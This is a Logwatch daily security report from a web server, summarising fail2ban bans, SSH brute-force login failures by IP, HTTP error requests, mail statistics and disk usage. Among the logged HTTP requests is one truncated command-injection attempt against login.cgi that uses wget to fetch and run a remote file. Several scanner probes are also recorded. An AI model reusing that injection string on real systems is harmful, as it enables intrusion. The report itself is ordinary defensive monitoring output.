04:42
################### Logwatch 7.4.0 (03/01/11) ####################
Processing Initiated: Thu Dec 19 04:42:03 2019
Date Range Processed: yesterday
( 2019-Dec-18 )
Period is day.
Detail Level of Output: 0
Type of Output/Format: mail / text
Logfiles for Host: h2361197.stratoserver.net
##################################################################
--------------------- fail2ban-messages Begin ------------------------
Banned services with Fail2Ban: Bans:Unbans
ssh: [149:148]
---------------------- fail2ban-messages End -------------------------
--------------------- httpd Begin ------------------------
Connection attempts using mod_proxy:
157.52.156.49 -> zapf.wiki:443: 2 Time(s)
222.186.19.221 -> zapf.wiki:443: 1 Time(s)
A total of 2 sites probed the server
62.210.77.54
66.240.192.138
Requests with error response codes
400 Bad Request
mstshash=Administr: 9 Time(s)
null: 7 Time(s)
/socket.io/?noteId=Dvll-V5GR7CGvuqIIyKt1g& ... BjySluNBKSBAAlm: 3 Time(s)
zapf.wiki:443: 3 Time(s)
/: 2 Time(s)
/manager/html: 2 Time(s)
../../: 1 Time(s)
/?0628182016134805143312: 1 Time(s)
/login.cgi?cli=aa%20aa%27;wget%20http://54 ... h%20/tmp/kh%27$: 1 Time(s)
/socket.io/?noteId=Dvll-V5GR7CGvuqIIyKt1g& ... fbW1Z8GlgmbAAwS: 1 Time(s)
403 Forbidden
/resolutionen/sose17/gesellschaftlich_verantwortung/: 1 Time(s)
404 Not Found
/robots.txt: 25 Time(s)
/berlin/apple-touch-icon.png: 6 Time(s)
/reader/2017_SoSe_Berlin_vorlaeufig.pdf%7C: 1 Time(s)
/resolutionen/sose17/gesellschaftlich_vera ... wantwortung.pdf: 1 Time(s)
500 Internal Server Error
/: 89 Time(s)
/HNAP1: 2 Time(s)
/evox/about: 2 Time(s)
/sdk: 2 Time(s)
/_VTI_BIN/WSTS: 1 Time(s)
/cgi-bin/config.exp: 1 Time(s)
/manager/html: 1 Time(s)
/nmaplowercheck1576675640: 1 Time(s)
/nmaplowercheck1576676504: 1 Time(s)
---------------------- httpd End -------------------------
--------------------- pam_unix Begin ------------------------
sshd:
Authentication Failures:
root (222.186.175.202): 42 Time(s)
root (222.186.175.167): 41 Time(s)
root (222.186.169.194): 39 Time(s)
root (222.186.175.148): 36 Time(s)
root (222.186.173.154): 35 Time(s)
root (222.186.175.150): 34 Time(s)
root (222.186.180.9): 30 Time(s)
root (218.92.0.145): 29 Time(s)
root (222.186.173.183): 29 Time(s)
root (222.186.190.92): 29 Time(s)
root (222.186.180.17): 26 Time(s)
root (222.186.175.147): 25 Time(s)
root (49.88.112.62): 25 Time(s)
root (222.186.169.192): 24 Time(s)
root (222.186.173.226): 24 Time(s)
root (222.186.175.216): 24 Time(s)
root (222.186.180.41): 24 Time(s)
root (218.92.0.148): 23 Time(s)
root (222.186.173.180): 21 Time(s)
root (222.186.175.155): 19 Time(s)
root (222.186.175.140): 18 Time(s)
root (222.186.175.181): 18 Time(s)
root (222.186.175.212): 18 Time(s)
root (222.186.175.217): 18 Time(s)
root (222.186.175.220): 18 Time(s)
root (49.88.112.59): 18 Time(s)
root (218.92.0.212): 17 Time(s)
root (222.186.173.142): 17 Time(s)
root (222.186.173.215): 17 Time(s)
root (222.186.175.154): 17 Time(s)
root (222.186.180.223): 17 Time(s)
root (218.92.0.141): 12 Time(s)
root (218.92.0.165): 12 Time(s)
root (222.186.175.161): 12 Time(s)
root (222.186.175.182): 12 Time(s)
root (222.186.175.183): 12 Time(s)
root (222.186.42.4): 12 Time(s)
root (49.88.112.61): 12 Time(s)
root (112.85.42.181): 11 Time(s)
root (218.92.0.155): 11 Time(s)
root (218.92.0.179): 11 Time(s)
root (222.186.175.151): 11 Time(s)
root (222.186.175.215): 11 Time(s)
root (222.186.180.6): 11 Time(s)
root (222.186.173.238): 10 Time(s)
root (112.85.42.176): 6 Time(s)
root (112.85.42.182): 6 Time(s)
root (218.92.0.134): 6 Time(s)
root (218.92.0.164): 6 Time(s)
root (218.92.0.170): 6 Time(s)
root (218.92.0.172): 6 Time(s)
root (222.186.175.163): 6 Time(s)
root (222.186.175.169): 6 Time(s)
root (61.177.172.128): 6 Time(s)
root (78-106-88-124.broadband.corbina.ru): 6 Time(s)
root (78.178.159.31): 6 Time(s)
root (218.92.0.175): 5 Time(s)
root (222.186.180.147): 5 Time(s)
root (222.186.190.2): 5 Time(s)
unknown (27.78.12.22): 5 Time(s)
root (218.92.0.178): 4 Time(s)
unknown (27.78.14.83): 4 Time(s)
postgres (61.177.139.213): 1 Time(s)
root (101.255.130.114): 1 Time(s)
root (109.110.52.77): 1 Time(s)
root (112.175.232.155): 1 Time(s)
root (113.160.178.148): 1 Time(s)
root (117.232.127.50): 1 Time(s)
root (162.ip-54-37-205.eu): 1 Time(s)
root (167.99.75.174): 1 Time(s)
root (178.128.158.113): 1 Time(s)
root (180.100.212.73): 1 Time(s)
root (203.163.231.139): 1 Time(s)
root (27.78.14.83): 1 Time(s)
root (47.30.153.37): 1 Time(s)
root (58.22.99.135): 1 Time(s)
root (71.227.197.35.bc.googleusercontent.com): 1 Time(s)
root (78.90.67.126): 1 Time(s)
root (kch-106-33.tm.net.my): 1 Time(s)
root (ns3045583.ip-46-105-122.eu): 1 Time(s)
unknown (112.78.1.247): 1 Time(s)
unknown (113.160.37.4): 1 Time(s)
unknown (122.161.198.205): 1 Time(s)
unknown (139.59.78.236): 1 Time(s)
unknown (149.255.200.56): 1 Time(s)
unknown (159.203.77.51): 1 Time(s)
unknown (171.49.177.191): 1 Time(s)
unknown (178.22.45.33): 1 Time(s)
unknown (180.242.235.54): 1 Time(s)
unknown (181.229.99.61): 1 Time(s)
unknown (185.80.130.230): 1 Time(s)
unknown (193.254.231.202): 1 Time(s)
unknown (206.189.166.172): 1 Time(s)
unknown (212.34.246.73): 1 Time(s)
unknown (222.239.78.88): 1 Time(s)
unknown (255.red-2-139-215.staticip.rima-tde.net): 1 Time(s)
unknown (27.34.68.0): 1 Time(s)
unknown (45.55.157.147): 1 Time(s)
unknown (91.185.193.101): 1 Time(s)
unknown (h2410222.stratoserver.net): 1 Time(s)
unknown (ip-104-238-116-19.ip.secureserver.net): 1 Time(s)
unknown (ip121.ip-188-165-55.eu): 1 Time(s)
unknown (mail.bidakarahotel.com): 1 Time(s)
unknown (ppp-210-86-171-106.revip.asianet.co.th): 1 Time(s)
unknown (vps.waldalbahrain.net): 1 Time(s)
Invalid Users:
Unknown Account: 34 Time(s)
---------------------- pam_unix End -------------------------
--------------------- Postfix Begin ------------------------
5 Miscellaneous warnings
14.690K Bytes accepted 15,043
14.690K Bytes sent via SMTP 15,043
======== ==================================================
1 Accepted 100.00%
-------- --------------------------------------------------
1 Total 100.00%
======== ==================================================
1 4xx Reject relay denied 100.00%
-------- --------------------------------------------------
1 Total 4xx Rejects 100.00%
======== ==================================================
144 Connections
14 Connections lost (inbound)
144 Disconnections
1 Removed from queue
1 Sent via SMTP
5 Hostname verification errors (FCRDNS)
---------------------- Postfix End -------------------------
--------------------- sendmail-largeboxes (large mail spool files) Begin
------------------------
Large Mailbox threshold: 40MB (41943040 bytes)
Warning: Large mailbox: mailman.gz (1747199807)
Warning: Large mailbox: mailman (235703599967)
---------------------- sendmail-largeboxes (large mail spool files) End
-------------------------
--------------------- SSHD Begin ------------------------
Network Read Write Errors: 1
Disconnecting after too many authentication failures for user:
root : 170 Time(s)
Failed logins from:
27.78.14.83 (localhost): 1 time
35.197.227.71 (71.227.197.35.bc.googleusercontent.com): 1 time
46.105.122.62 (ns3045583.ip-46-105-122.eu): 1 time
47.30.153.37: 1 time
49.88.112.59: 18 times
49.88.112.61: 12 times
49.88.112.62: 25 times
54.37.205.162 (162.ip-54-37-205.eu): 1 time
58.22.99.135: 1 time
61.177.139.213: 1 time
61.177.172.128: 6 times
78.90.67.126: 1 time
78.106.88.124 (78-106-88-124.broadband.corbina.ru): 6 times
78.178.159.31 (78.178.159.31.dynamic.ttnet.com.tr): 6 times
101.255.130.114: 1 time
109.110.52.77: 1 time
112.85.42.176: 6 times
112.85.42.181: 11 times
112.85.42.182: 6 times
112.175.232.155: 1 time
113.160.178.148 (static.vnpt.vn): 1 time
117.232.127.50: 1 time
167.99.75.174: 1 time
178.128.158.113: 1 time
180.100.212.73: 1 time
203.163.231.139: 1 time
218.92.0.134: 6 times
218.92.0.141: 12 times
218.92.0.145: 29 times
218.92.0.148: 23 times
218.92.0.155: 11 times
218.92.0.164: 6 times
218.92.0.165: 12 times
218.92.0.170: 6 times
218.92.0.172: 6 times
218.92.0.175: 5 times
218.92.0.178: 4 times
218.92.0.179: 11 times
218.92.0.212: 17 times
219.93.106.33 (kch-106-33.tm.net.my): 1 time
222.186.42.4: 12 times
222.186.169.192: 24 times
222.186.169.194: 39 times
222.186.173.142: 17 times
222.186.173.154: 35 times
222.186.173.180: 24 times
222.186.173.183: 29 times
222.186.173.215: 17 times
222.186.173.226: 24 times
222.186.173.238: 10 times
222.186.175.140: 18 times
222.186.175.147: 29 times
222.186.175.148: 36 times
222.186.175.150: 34 times
222.186.175.151: 11 times
222.186.175.154: 17 times
222.186.175.155: 19 times
222.186.175.161: 12 times
222.186.175.163: 6 times
222.186.175.167: 41 times
222.186.175.169: 6 times
222.186.175.181: 18 times
222.186.175.182: 12 times
222.186.175.183: 12 times
222.186.175.202: 42 times
222.186.175.212: 18 times
222.186.175.215: 11 times
222.186.175.216: 24 times
222.186.175.217: 18 times
222.186.175.220: 18 times
222.186.180.6: 11 times
222.186.180.9: 30 times
222.186.180.17: 30 times
222.186.180.41: 24 times
222.186.180.147: 5 times
222.186.180.223: 18 times
222.186.190.2: 5 times
222.186.190.92: 29 times
Illegal users from:
undef: 13 times
2.139.215.255 (255.red-2-139-215.staticip.rima-tde.net): 1 time
27.34.68.0: 1 time
27.78.12.22 (localhost): 5 times
27.78.14.83 (localhost): 5 times
45.55.157.147: 1 time
85.214.194.182 (h2410222.stratoserver.net): 1 time
91.185.193.101: 1 time
104.238.116.19 (ip-104-238-116-19.ip.secureserver.net): 1 time
112.78.1.247: 1 time
113.160.37.4 (static.vnpt-hanoi.com.vn): 1 time
122.161.198.205 (abts-north-static-205.198.161.122-airtelbroadband.in): 1 time
139.59.78.236: 1 time
149.255.200.56: 1 time
159.203.77.51: 1 time
171.49.177.191 (abts-tn-dynamic-191.177.49.171.airtelbroadband.in): 1 time
178.22.45.33: 1 time
180.242.235.54: 1 time
181.229.99.61 (61-99-229-181.cab.prima.com.ar): 1 time
182.16.179.70 (mail.bidakarahotel.com): 1 time
185.80.130.230: 1 time
188.165.55.121 (ip121.ip-188-165-55.eu): 1 time
193.254.231.202 (unknown.unitbv.ro): 1 time
198.38.88.198 (vps.waldalbahrain.net): 1 time
206.189.166.172: 1 time
210.86.171.106 (ppp-210-86-171-106.revip.asianet.co.th): 1 time
212.34.246.73 (host-73.246.34.212.ucom.am): 1 time
222.239.78.88 (222-239-78-88.youiwe.co.kr): 1 time
**Unmatched Entries**
error: Received disconnect from 141.98.10.39: 2: Handshake failed [preauth] : 1 time(s)
fatal: no matching cipher found: client
aes256-cbc,rijndael-cbc(a)lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc,none
server
aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com
[preauth] : 2 time(s)
---------------------- SSHD End -------------------------
--------------------- Disk Space Begin ------------------------
Filesystem Size Used Avail Use% Mounted on
/dev/vzfs 400G 241G 160G 61% /
---------------------- Disk Space End -------------------------
###################### Logwatch End #########################